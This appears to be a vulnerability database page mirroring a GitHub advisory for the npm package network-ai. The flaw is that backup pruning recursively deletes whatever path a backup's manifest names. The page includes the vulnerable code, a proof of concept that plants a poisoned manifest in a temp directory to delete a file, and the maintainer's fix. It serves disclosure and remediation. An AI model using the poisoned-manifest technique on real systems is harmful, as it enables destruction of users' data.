GHSA-2fmp-9rvw-hc96: Network-AI Poisoned Environment Backup Manifest Allows Vulnerability

HIGH
CVSS 7.1
CWE-73 CWE-22
Published
Advisory Summary

GHSA-2fmp-9rvw-hc96 is a HIGH (CVSS 7.1) poisoned environment backup manifest allows vulnerability (CWE-73: External Control of File Name or Path) affecting Network-AI libraries in the npm ecosystem. The issue involves poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning. Remediation is available by upgrading affected packages to version 5.12.2.

GHSA-2fmp-9rvw-hc96 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-2fmp-9rvw-hc96
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Network-AI
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-2fmp-9rvw-hc96

To remediate this vulnerability, upgrade all affected Network-AI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

network-ai fixed: 5.12.2
npm install network-ai@5.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls network-ai

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-2fmp-9rvw-hc96, inspect your project dependencies using npm:

npm ls network-ai

Analyze the terminal output to locate any version of Network-AI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.2), your application is affected.

Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Network-AI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1. ### Details `listBackups()` trusts manifest content from disk: ```ts for (const name of readdirSync(backupsDir)) { const manifest = join(backupsDir, name, '_manifest.json'); if (existsSync(manifest)) { try { const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry; entries.push(entry); } catch { /* corrupt manifest, skip */ } } } ``` `pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target: ```ts const toDelete = all.slice(keep); let deleted = 0; for (const entry of toDelete) { try { rmSync(entry.path, { recursive: true, force: true }); deleted++; } catch { /* ignore */ } } ``` Default CLI reachability exists through `network-ai env backup prune --env <env> --keep <n>`. Affected source evidence: - `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`. - `lib/env-manager.ts:529-541` — recursively deletes `entry.path`. - `bin/cli.ts:464-472` — default CLI exposes backup pruning. ### PoC This PoC uses only a temporary directory and deletes only a temporary file: ```bash TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const mgr = new EnvironmentManager(path.join(base, 'data'), { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); fs.writeFileSync(path.join(base, 'victim.txt'), 'safe'); const backupsDir = path.join(base, 'data', 'dev', '.backups'); fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true }); fs.writeFileSync( path.join(backupsDir, 'evil', '_manifest.json'), JSON.stringify({ backupId: 'evil', env: 'dev', timestamp: '2000-01-01T00:00:00.000Z', sizeBytes: 0, path: path.join(base, 'victim.txt'), }) ); console.log(JSON.stringify({ before: fs.existsSync(path.join(base, 'victim.txt')), deleted: mgr.pruneBackups('dev', 0), after: fs.existsSync(path.join(base, 'victim.txt')), }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS ``` Observed result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`. ### Impact An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `"path": "/"`) is now inert. All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

GHSA-2fmp-9rvw-hc96 Affected Network-AI Versions

1 component(s)
Fixed Versions:
5.12.2
Product / Package Ecosystem Affected Versions Fixed Version
network-ai
npm
< 5.12.2
5.12.2

References

Frequently Asked Questions

What is GHSA-2fmp-9rvw-hc96?
GHSA-2fmp-9rvw-hc96 is a security vulnerability in Network-AI involving Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning under CWE-73: External Control of File Name or Path.
Which Network-AI versions are affected?
Affected versions include releases prior to 5.12.2 across affected packages: network-ai.
What version fixes GHSA-2fmp-9rvw-hc96?
Upgrading to 5.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is network-ai affected?
Yes, network-ai is affected in releases prior to 5.12.2. Upgrade your dependency to 5.12.2 or later.
What is the CVSS score of GHSA-2fmp-9rvw-hc96?
GHSA-2fmp-9rvw-hc96 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with GHSA-2fmp-9rvw-hc96?
GHSA-2fmp-9rvw-hc96 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check npm dependencies for GHSA-2fmp-9rvw-hc96?
Run the dependency tree command: 'npm ls network-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2fmp-9rvw-hc96",
  "modified" : "2026-06-19T21:42:26Z",
  "published" : "2026-06-19T21:42:26Z",
  "aliases" : [ ],
  "summary" : "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning",
  "details" : "### Summary\n`EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, '_manifest.json');\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env <env> --keep <n>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` — recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` — default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, 'data'), {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.writeFileSync(path.join(base, 'victim.txt'), 'safe');\n\nconst backupsDir = path.join(base, 'data', 'dev', '.backups');\nfs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, 'evil', '_manifest.json'),\n  JSON.stringify({\n    backupId: 'evil',\n    env: 'dev',\n    timestamp: '2000-01-01T00:00:00.000Z',\n    sizeBytes: 0,\n    path: path.join(base, 'victim.txt'),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, 'victim.txt')),\n  deleted: mgr.pruneBackups('dev', 0),\n  after: fs.existsSync(path.join(base, 'victim.txt')),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "network-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Jovancoding/Network-AI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:42:26Z",
    "nvd_published_at" : null
  }
}